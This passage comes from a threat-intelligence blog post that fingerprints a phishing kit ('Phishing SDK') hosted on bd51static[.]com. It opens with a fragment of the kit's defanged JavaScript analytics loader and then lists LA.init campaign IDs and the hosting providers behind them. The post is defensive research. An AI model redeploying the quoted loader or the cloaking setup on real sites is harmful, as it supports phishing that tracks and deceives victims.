s=window,e=document,i=p,c=\\&#8221;\\&#8221;.concat(\\&#8221;https:\\&#8221;===e.location.protocol?\\&#8221;https://\\&#8221;:\\&#8221;http://\\&#8221;,\\&#8221;sdk[.]51[.]la/js-sdk-pro.min.js\\&#8221;),n=e.createElement(\\&#8221;script\\&#8221;),r=e.getElementsByTagName(\\&#8221;script\\&#8221;)[0];n.type=\\&#8221;text/javascript\\&#8221;,n.setAttribute(\\&#8221;charset\\&#8221;,\\&#8221;UTF-8\\&#8221;),n.async=!0,n.src=c,n.id=\\&#8221;LA_COLLECT\\&#8221;,i.d=n;var o=function(){s.LA.ids.push(i)};s.LA?s.LA.ids&amp;&amp;o():(s.LA=p,s.LA.ids=[],o()),r.parentNode.insertBefore(n,r)}()}({id:\\&#8221;JWu0x8e9wdmkDTBz\\&#8221;,ck:\\&#8221;JWu0x8e9wdmkDTBz\\&#8221;});&lt;/script&gt;&#8221;)</code></pre><p>Please not that 2021 sighting also included call js[.]users[.]51[.]la subdomain from HTML &#8212; related to malicious <a href="https://www.virustotal.com/gui/domain/js.users.51.la/community">activity</a>.</p><p>We were able to identify more than 7 generations for some scripts.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!voXn!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0d780172-60d0-4cda-9b20-abf014ed6ed5_700x281.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!voXn!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0d780172-60d0-4cda-9b20-abf014ed6ed5_700x281.png 424w, https://substackcdn.com/image/fetch/$s_!voXn!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0d780172-60d0-4cda-9b20-abf014ed6ed5_700x281.png 848w, https://substackcdn.com/image/fetch/$s_!voXn!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0d780172-60d0-4cda-9b20-abf014ed6ed5_700x281.png 1272w, https://substackcdn.com/image/fetch/$s_!voXn!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0d780172-60d0-4cda-9b20-abf014ed6ed5_700x281.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!voXn!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0d780172-60d0-4cda-9b20-abf014ed6ed5_700x281.png" width="700" height="281" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/0d780172-60d0-4cda-9b20-abf014ed6ed5_700x281.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:281,&quot;width&quot;:700,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:&quot;&quot;,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" title="" srcset="https://substackcdn.com/image/fetch/$s_!voXn!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0d780172-60d0-4cda-9b20-abf014ed6ed5_700x281.png 424w, https://substackcdn.com/image/fetch/$s_!voXn!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0d780172-60d0-4cda-9b20-abf014ed6ed5_700x281.png 848w, https://substackcdn.com/image/fetch/$s_!voXn!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0d780172-60d0-4cda-9b20-abf014ed6ed5_700x281.png 1272w, https://substackcdn.com/image/fetch/$s_!voXn!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0d780172-60d0-4cda-9b20-abf014ed6ed5_700x281.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>LA_COLLECT block initialized twice and this is not an error. This fits the facts. Each block can be used by different content: one is for &#8220;Gambling&#8221;-cloak and another one for &#8220;Cloned&#8221;-cloak.</p><p>All scripts that still active (&#8220;now&#8221; in &#8220;last_time_seen&#8221; column) initialized first pair with:</p><pre><code>id: Kbu0ae6HwHakHTZk
ck: Kbu0ae6HwHakHTZk</code></pre><p>We assume that this pair is for &#8220;Gambling&#8221;-cloak content which is similar for all hosts using bd51static[.]com now. This can be also treated as fingerprint for this Phishing SDK version.</p><p>Second pair is a campaign or Threat Actor related. Giving us 15 currently active users or campaigns of this SDK version.</p><p>What are &#8220;id&#8221; and &#8220;ck&#8221;?</p><ul><li><p>id (within LA.init({})): This parameter is your site ID or tracking ID provided by 51[.]la when you register your website with their service. It uniquely identifies your website to 51[.]la, allowing them to collect and display analytics data specifically for your site. Think of it as your unique account number for that particular website in their system.</p></li><li><p>ck (within LA.init({})): This parameter often refers to a checksum or a secret key that is also provided by 51[.]la. It acts as a form of authentication or verification, ensuring that the tracking requests originate from your registered site and are legitimate. In many cases, you&#8217;ll see the id and ck values being the same, suggesting that the ck might be a redundancy or a simple copy of the id for certain configurations, or it might be used for internal validation by 51[.]la&#8217;s system.</p></li></ul><p>If our assumption is correct, it means, Threat Actors that using this SDK are sharing the collected data with SDK owners, and this is also the reason to hide the unique account ID from one-request scanners.</p><p><a href="https://www.baidu.com/">Baidu</a> HM ID &#8220;9449080f1fd9d69519fb3ef29e931160&#8221; &#8212; is the <strong>site ID</strong> or tracking ID for the specific website property. Given that this is present almost on all bd51static[.]com scripts &#8212; this is SDK Owners tracking ID. Meaning, SDK Owners have account at Baidu Analytics with this ID.</p><p>There is also very interesting claims about Baidu part of the code &#8212; <a href="https://gist.github.com/williamli/223033fd95179d966fd2b4ce4543cfbb">here</a>.</p><p>There are Public Researches that too similar, for example:</p><ul><li><p>&#8220;<a href="https://projetfox.com/en/2024/08/phishing-and-cryptocurrencies-uncovering-the-infrastructure-of-a-network-of-scams/">Phishing and Cryptocurrencies : Uncovering the infrastructure of a network of scams</a>&#8221; by Alb310 (20 August 2024).</p></li><li><p>&#8220;<a href="https://www.trendmicro.com/en_dk/research/21/i/mac-users-targeted-by-trojanized-iterm2-app.html">Mac Users Targeted by Trojanized iTerm2 App</a>&#8221; by Steven Du, Luis Magisa (September 30, 2021)</p></li><li><p>&#8220;<a href="https://blog.sekoia.io/master-of-puppets-uncovering-the-doppelganger-pro-russian-influence-campaign/">Master of Puppets: Uncovering the DoppelG&#228;nger pro-Russian influence campaign</a>&#8221; by Sekoia TDR, Coline Chavane, Amaury G. and Kilian Seznec (May 21 2024)</p></li></ul><p>By just taking the LA.init values from the first one, where copied websites were used for phishing and included 51[.]la analytics, we were able to find one of the currently existing hosts described in this Research, and given the similarity between hosts to find more of them using <a href="https://search.censys.io/search?resource=hosts&amp;sort=RELEVANCE&amp;per_page=25&amp;virtual_hosts=INCLUDE&amp;q=%22%2Findex%2Fokx%2Fmarket%2Ftype%2F1.html%22">Censys.io</a>:</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!Dvox!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2501da21-88f0-4f28-b68d-dac350086661_700x384.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!Dvox!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2501da21-88f0-4f28-b68d-dac350086661_700x384.png 424w, https://substackcdn.com/image/fetch/$s_!Dvox!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2501da21-88f0-4f28-b68d-dac350086661_700x384.png 848w, https://substackcdn.com/image/fetch/$s_!Dvox!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2501da21-88f0-4f28-b68d-dac350086661_700x384.png 1272w, https://substackcdn.com/image/fetch/$s_!Dvox!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2501da21-88f0-4f28-b68d-dac350086661_700x384.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!Dvox!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2501da21-88f0-4f28-b68d-dac350086661_700x384.png" width="700" height="384" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/2501da21-88f0-4f28-b68d-dac350086661_700x384.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:384,&quot;width&quot;:700,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:&quot;&quot;,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" title="" srcset="https://substackcdn.com/image/fetch/$s_!Dvox!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2501da21-88f0-4f28-b68d-dac350086661_700x384.png 424w, https://substackcdn.com/image/fetch/$s_!Dvox!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2501da21-88f0-4f28-b68d-dac350086661_700x384.png 848w, https://substackcdn.com/image/fetch/$s_!Dvox!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2501da21-88f0-4f28-b68d-dac350086661_700x384.png 1272w, https://substackcdn.com/image/fetch/$s_!Dvox!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2501da21-88f0-4f28-b68d-dac350086661_700x384.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>Simple script extracted all LA.init unique values from these hosts:</p><pre><code>LA.init({id:&#8221;3HGOkyQbi3b9rfq5&#8221;,ck:&#8221;3HGOkyQbi3b9rfq5&#8221;}) - 1 host on TERAEXCH (Singapore)
LA.init({id:&#8221;3IzaGTMUSK1viRpW&#8221;,ck:&#8221;3IzaGTMUSK1viRpW&#8221;}) - 90 hosts on  ANTBOX1-AS-AP Antbox Networks Limited (Selangor, Malaysia)
LA.init({id:&#8221;3LJDNLffG8eqfbSb&#8221;,ck:&#8221;3LJDNLffG8eqfbSb&#8221;}) - 7 hosts on TERAEXCH (Singapore)
LA.init({id:&#8221;3LJDKRjdlIcWwUe3&#8221;,ck:&#8221;3LJDKRjdlIcWwUe3&#8221;}) - 12 hosts on TERAEXCH (Singapore)
LA.init({id:&#8221;3LmcTcV6dXnzzQ36&#8221;,ck:&#8221;3LmcTcV6dXnzzQ36&#8221;}) - 4 hosts on  ANTBOX1-AS-AP Antbox Networks Limited (Islands, Hong Kong), 4 hosts on VMISS (Hong Kong)
LA.init({id:&#8221;3MCEqmfZqNWenj44&#8221;,ck:&#8221;3MCEqmfZqNWenj44&#8221;}) - 10 hosts on TERAEXCH (Singapore)</code></pre><p>So, we can assume that there 6 clear blocks of these hosts (different campaigns or Threat Actors).</p><p>NEBULA hosted hosts do not use LA.init explicitly.</p><p>On <a href="https://www.zoomeye.ai/">ZoomEye.ai</a> historical view:</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!pMzy!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbaad5d6f-7c62-4d41-bf52-abfa9c86a6ff_700x448.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!pMzy!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbaad5d6f-7c62-4d41-bf52-abfa9c86a6ff_700x448.png 424w, https://substackcdn.com/image/fetch/$s_!pMzy!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbaad5d6f-7c62-4d41-bf52-abfa9c86a6ff_700x448.png 848w, https://substackcdn.com/image/fetch/$s_!pMzy!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbaad5d6f-7c62-4d41-bf52-abfa9c86a6ff_700x448.png 1272w, https://substackcdn.com/image/fetch/$s_!pMzy!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbaad5d6f-7c62-4d41-bf52-abfa9c86a6ff_700x448.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!pMzy!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbaad5d6f-7c62-4d41-bf52-abfa9c86a6ff_700x448.png" width="700" height="448" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/baad5d6f-7c62-4d41-bf52-abfa9c86a6ff_700x448.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:448,&quot;width&quot;:700,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:&quot;&quot;,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" title="" srcset="https://substackcdn.com/image/fetch/$s_!pMzy!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbaad5d6f-7c62-4d41-bf52-abfa9c86a6ff_700x448.png 424w, https://substackcdn.com/image/fetch/$s_!pMzy!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbaad5d6f-7c62-4d41-bf52-abfa9c86a6ff_700x448.png 848w, https://substackcdn.com/image/fetch/$s_!pMzy!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbaad5d6f-7c62-4d41-bf52-abfa9c86a6ff_700x448.png 1272w, https://substackcdn.com/image/fetch/$s_!pMzy!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbaad5d6f-7c62-4d41-bf52-abfa9c86a6ff_700x448.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>This is very indicate reason why more advanced Phishing SDK MUST hide it&#8217;s 51[.]la configuration to avoid being easily fingerprinted.</p><p>The second story shows copy very similar to what we observed:</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!pE2s!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6cafab86-fc35-40ad-9eae-066959bf197c_700x440.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!pE2s!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6cafab86-fc35-40ad-9eae-066959bf197c_700x440.png 424w, https://substackcdn.com/image/fetch/$s_!pE2s!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6cafab86-fc35-40ad-9eae-066959bf197c_700x440.png 848w, https://substackcdn.com/image/fetch/$s_!pE2s!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6cafab86-fc35-40ad-9eae-066959bf197c_700x440.png 1272w, https://substackcdn.com/image/fetch/$s_!pE2s!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6cafab86-fc35-40ad-9eae-066959bf197c_700x440.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!pE2s!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6cafab86-fc35-40ad-9eae-066959bf197c_700x440.png" width="700" height="440" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/6cafab86-fc35-40ad-9eae-066959bf197c_700x440.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:440,&quot;width&quot;:700,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:&quot;&quot;,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" title="" srcset="https://substackcdn.com/image/fetch/$s_!pE2s!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6cafab86-fc35-40ad-9eae-066959bf197c_700x440.png 424w, https://substackcdn.com/image/fetch/$s_!pE2s!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6cafab86-fc35-40ad-9eae-066959bf197c_700x440.png 848w, https://substackcdn.com/image/fetch/$s_!pE2s!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6cafab86-fc35-40ad-9eae-066959bf197c_700x440.png 1272w, https://substackcdn.com/image/fetch/$s_!pE2s!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6cafab86-fc35-40ad-9eae-066959bf197c_700x440.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>From the third Research, we can see that <code>la-sante[.]info</code> domain listed there:</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!1R00!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbaf0260a-4bd6-4dac-b970-5df6a8f82872_700x536.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!1R00!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbaf0260a-4bd6-4dac-b970-5df6a8f82872_700x536.png 424w, https://substackcdn.com/image/fetch/$s_!1R00!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbaf0260a-4bd6-4dac-b970-5df6a8f82872_700x536.png 848w, https://substackcdn.com/image/fetch/$s_!1R00!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbaf0260a-4bd6-4dac-b970-5df6a8f82872_700x536.png 1272w, https://substackcdn.com/image/fetch/$s_!1R00!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbaf0260a-4bd6-4dac-b970-5df6a8f82872_700x536.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!1R00!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbaf0260a-4bd6-4dac-b970-5df6a8f82872_700x536.png" width="700" height="536" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/baf0260a-4bd6-4dac-b970-5df6a8f82872_700x536.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:536,&quot;width&quot;:700,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:&quot;&quot;,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" title="" srcset="https://substackcdn.com/image/fetch/$s_!1R00!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbaf0260a-4bd6-4dac-b970-5df6a8f82872_700x536.png 424w, https://substackcdn.com/image/fetch/$s_!1R00!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbaf0260a-4bd6-4dac-b970-5df6a8f82872_700x536.png 848w, https://substackcdn.com/image/fetch/$s_!1R00!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbaf0260a-4bd6-4dac-b970-5df6a8f82872_700x536.png 1272w, https://substackcdn.com/image/fetch/$s_!1R00!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbaf0260a-4bd6-4dac-b970-5df6a8f82872_700x536.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div 